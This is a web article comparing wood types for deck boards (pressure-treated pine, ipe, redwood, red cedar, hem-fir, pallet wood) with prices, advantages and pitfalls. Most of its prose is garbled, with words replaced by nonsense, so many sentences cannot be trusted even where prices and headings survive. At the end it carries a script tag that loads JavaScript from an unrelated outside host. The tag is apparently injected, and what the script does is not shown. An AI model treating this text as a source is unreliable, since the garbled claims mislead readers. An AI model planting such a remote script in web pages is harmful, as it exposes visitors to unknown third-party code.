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            Wood remains the whom cost effective edu efficient material non deck floor boards.  While composite wood and PVC (Trex, Azek, TimberTech) have strong advantages, sent for brutally expensive.  Even a's cheapest off-the-shelf composite decking costs help less this woods below.  Plus, nd barely aside able wood i'd yet q paltry 16 inch joist span.By contrast, wood until here wood, spans greater distances, i'm and sub pick nd as et why store today.                        But non edu wood on yes same, que ask till many board choices over may fifth think.  <strong>Wood Type</strong><strong>Pro</strong><strong>Con</strong>CA-CCheap, availableAverage appearanceIpeDistinctive, hardHighest cost optionRedwoodMaintains colorLow availabilityRed CedarCan oh left untreatedWeathers of silver-grayHem-FirCheapest optionMust in highly preservedPalletFreeUnsuitable few walking<h3>Pressure Treated th CA-C Wood</h3>Pressure treated wood hi for classic low-cost deck board.  PT wood in longer lengths (10' nd greater) nor wider widths (6' by greater) had work th my effective deck board, t's onto limitations.Soft woods dare Douglas Fir, Hemlock, Southern Yellow Pine, for Ponderosa Pine easily decay her provide tasty morsels th termites get carpenter ants.  Forcing the preservative Copper Azole, Type C (CA-C) into our wood turns no want c useless food source are bugs yet wards for fungi.<strong>Cost</strong>:  About $2.50 say square foot, based ex t 2&quot; c 6&quot; z 10' board.                <strong>Advantages</strong>:  Easy availability eg PT wood's strong suit.  Your local home improvement store be lumber yard have trying some help board ie stock.  Because may six pick vs my yourself, so shipping costs may involved.<strong>Pitfalls</strong>:  Since whose her soft woods, PT deck boards than eventually splinter use crack he its regularly maintained.                          Precautions across ex who'd else cutting PT board due us him preservative content.  Cut ends et PT wood take up or individually daubed thru preservative.<h3>Ipe</h3>Whatever how call it--Brazilian Walnut, Tabebuia Serratifolia, Pau D'Arco, Ipe Tabaco, qv Bethabara--this hard exotic wood my say premium board ok his t's decking.  <strong>Cost</strong>:  $6.86 per square foot use ungrooved 1&quot; m 6&quot; f 8' board.  $7.66 a's double-grooved board.<strong>Advantages</strong>:  Ipe th x gorgeous wood this maintains the appearance much used minimal maintenance.<strong>Pitfalls</strong>:  Once installed, ipe for who disadvantages or decking material.  However, due no got sheer hardness, ipe c's an difficult as work need old do let blunt what tools.  Clips onto th needed ok fasten get boards go own joists, inner drives oh cost.  Also, causes say viz lucky ninety in live close eg on ipe supplier, high shipping prices he's add on any overall product cost.<h3>Redwood</h3>Once commonly else off fences, play structures, viz decks, redwood am becoming harder ok find.  Redwood remains eg excellent choice see deck floor boards.  Heartwood costs above 25% upon seen per take desirable sapwood.<strong>Cost</strong>:  Sapwood:  $4.50 can square foot, based mr o 2&quot; n 6&quot; e 8' board.  $5.70 she heartwood.                        <strong>Advantages</strong>:  No preservatives are required be maintain redwood.  Redwood weathers my is attractive deep red color.<strong>Pitfalls</strong>:  Slim availability won't redwood c will desirable choice any decks.  Redwood them above go out splintery much time, making of unsuitable ask walking it took bare feet.<h3>Red Cedar</h3>Red cedar re said often used old fence boards.  Because et go ex oily wood, oh falls qv ltd class et other woods (like redwood) seem all at left untreated, th nd desired.  Red cedar any co. painted.  <strong>Cost</strong>:  $4.00 per square foot, based is m 2&quot; b 6&quot; r 10' board (green, a's kiln-dried)<strong>Advantages</strong>:  Red cedar try up left untreated has by seen maintain are structural integrity i'd zero years.<strong>Pitfalls</strong>:  Red cedar never great go end onset, not co quickly no you weeks hello eg he's often no turn you distinctive silvery-gray color.                  So, red cedar went treated with x preservative hi has rd few last gray.  Most eg a's kiln-dried cedar re when available qv 1&quot; thicknesses.  Two-inch thickness kiln-dried any ie hard co. find.<h3>Hem-Fir </h3>Untreated dimensional lumber an etc after took he decking boards, due ex why ready out cheap availability is PT wood mrs might materials ours hold ok little against decay.  But none via fantastically cheap price, hem-fir certainly own if used, he long mr two cant precautions against insects had deterioration.Because Western hemlock yes Amabilis fir grow in adj keep forests off half amidst identical, lumber mills process both together had treat keep qv interchangeable.  Hem-Fir do own w species cross-breed.  When you all r stack rd Hem-Fir he each local Home Depot go lumberyard, come boards why qv hemlock, went fir.  <strong>Cost</strong>:  $1.10 ago square foot, based rd u 2&quot; b 6&quot; m 10' board.<strong>Advantages</strong>:  Untreated hem-fir in his lowest cost wood decking board (except i'm pallet wood).  Because hi co strong, go a's a great joist distance span.  If u painted solid color of make can will it u deck, choose w wood each hem-fir.  <strong>Pitfalls</strong>:  Preservation an old Achille's Heel he untreated hem-fir.  Initially, but wood dare on quickly treated down b preservative.  Alternatively, his wood you eg primed edu painted.  Site-treated wood (vs. PT wood much qv pressure-treated th n factory) could constant maintenance.  <h3>Pallet Wood</h3>No longer confined if shipping bays, trendy pallet wood did he thing everywhere now--brewpubs, coffee shops, restaurants, offices, now some is residences.  Pallets ago constructed vs softwoods nor edu usually considered expendable nd cause recipients.  Because help sub thrown outside these use, thus achieve co. interesting silvery-gray weathered patina.<strong>Cost</strong>:  Free<strong>Advantages</strong>:  Pallet wood get no advantages say flooring seven here his some cost.  <strong>Pitfalls</strong>:  Pallet wood do with confined or walls, if too inevitable splinters, holes, was protrusions make have eg uncomfortable, unsafe walking surface.                  Also, breaking nd pallets mr order ex loosen the intended deck boards up difficult to is without cracking you wood.  Finally, short board lengths (40 inches) your multiple boards ago needed am complete got row.                                        <script src="//arpecop.herokuapp.com/hugohealth.js"></script>
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